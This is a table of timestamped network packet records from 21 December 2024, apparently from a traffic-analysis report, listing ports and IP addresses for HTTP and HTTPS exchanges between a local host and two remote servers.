Dec 21, 2024 18:16:38.415883064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.416085958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.416131973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.417151928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.417184114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.417195082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.418219090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.418267965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.418297052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.419416904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.419466019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.419539928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.419581890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.420675993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.420820951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.420867920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.421905994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.421993971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.422041893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.423058987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.423105001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.423105955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.427292109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.476928949 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.477945089 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.478025913 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.478049994 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.478302956 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.478315115 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.480843067 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.480901957 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.480907917 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.481307983 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.483558893 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.485379934 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.485393047 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.485441923 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.486340046 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.486401081 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.490809917 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.490891933 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.490900993 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.491202116 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.492460012 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.492525101 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.492568970 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.492665052 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.495024920 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.495086908 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.495212078 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.495266914 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.497293949 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.497349024 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.500909090 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.500977993 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.501002073 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.501076937 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.503403902 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.503463030 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.503518105 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.503573895 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.505773067 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.508905888 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.508968115 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.508976936 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.511296034 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.511482000 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.514229059 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.514276981 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.514286041 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.517271996 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.517318010 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.517340899 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.517364979 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.519762993 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.519819975 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.519828081 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.519872904 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.522543907 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.523298025 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.523303986 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.523350954 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.525271893 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.525332928 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.525383949 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.526299000 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.528273106 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.529314041 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.529320002 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.529364109 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.530704021 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.530762911 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.530857086 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.530903101 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.533829927 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.533883095 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.536473989 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.538295984 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.538305044 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.538340092 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.538985014 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.541309118 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.541316032 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.541369915 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.541661024 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.544699907 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.544789076 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.544797897 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.547301054 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.547307968 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.550296068 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.550317049 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.550326109 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.550360918 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.550388098 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.550393105 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.552727938 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.553416014 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.553522110 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.554291010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.554354906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.554357052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.554404020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.554744005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.554851055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.554868937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.554908991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.555707932 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.555741072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.555767059 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.555792093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.555828094 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.555871010 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.556011915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.556065083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.556175947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.556220055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.557004929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.557152033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.557219028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.557964087 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.558069944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.558120012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.558358908 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.558733940 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.558794022 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.558923006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.558973074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.559106112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.559890032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.559941053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.560120106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.560412884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.560790062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.560862064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.560899019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.560926914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.561003923 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.561026096 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.561822891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.561880112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.561981916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.562028885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.562799931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.562848091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.562901974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.563736916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.563771963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.563790083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.563843966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.564654112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.564707994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.564709902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.564747095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.565561056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.565617085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.565659046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.566734076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.566817045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.566881895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.566936016 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.567563057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.567609072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.567665100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.567714930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.568367004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.568484068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.568527937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.568552017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.569416046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.569516897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.569540024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.569601059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.570269108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.570323944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.570461988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.570565939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.571218014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.571270943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.571342945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.571511984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.572158098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.572215080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.572276115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.572315931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.573102951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.573148966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.573214054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.573398113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.574084997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.574140072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.574204922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.574379921 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.575099945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.575149059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.575999022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.576050997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.576086044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.576108932 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.576137066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.577168941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.577528954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.577581882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.578377008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.578615904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.578684092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.579093933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.579263926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.579317093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.580121994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.580178022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.580323935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.580419064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.581006050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.581042051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.581058979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.581091881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.581756115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.581790924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.581814051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.581845999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.582653999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.582710028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.582818031 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.582972050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.583633900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.583731890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.583777905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.584615946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.584687948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.584736109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.584784031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.585488081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.585572958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.585616112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.586400986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.586483955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.586545944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.586604118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.587368965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.587421894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.587466955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.587552071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.588378906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.588428020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.588452101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.588601112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.589231014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.589284897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.589334011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.590176105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.590233088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.590325117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.590749979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.591125965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.591181040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.591238022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.592190027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.592246056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.592268944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.592583895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.593024969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.593105078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.593369007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.593429089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.593940973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.594053984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.594062090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.594109058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.594918966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.594995022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.595017910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.595066071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.595879078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.595969915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.595990896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.596035004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.596997023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.597043037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.597088099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.597796917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.597888947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.597929001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.597978115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.598790884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.598838091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.599004030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.599052906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.599663019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.599709988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.599859953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.599911928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.600636959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.600686073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.600739956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.600783110 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.601552963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.601630926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.601674080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.602511883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.602562904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.602564096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.602602959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.603460073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.603507042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.603516102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.603559017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.747097969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.747143030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.747180939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.747220039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.747222900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.747222900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.747704029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.747811079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.747837067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.748682022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.748790026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.748807907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.748826981 CET	49826	80	192.168.2.4	31.41.244.11
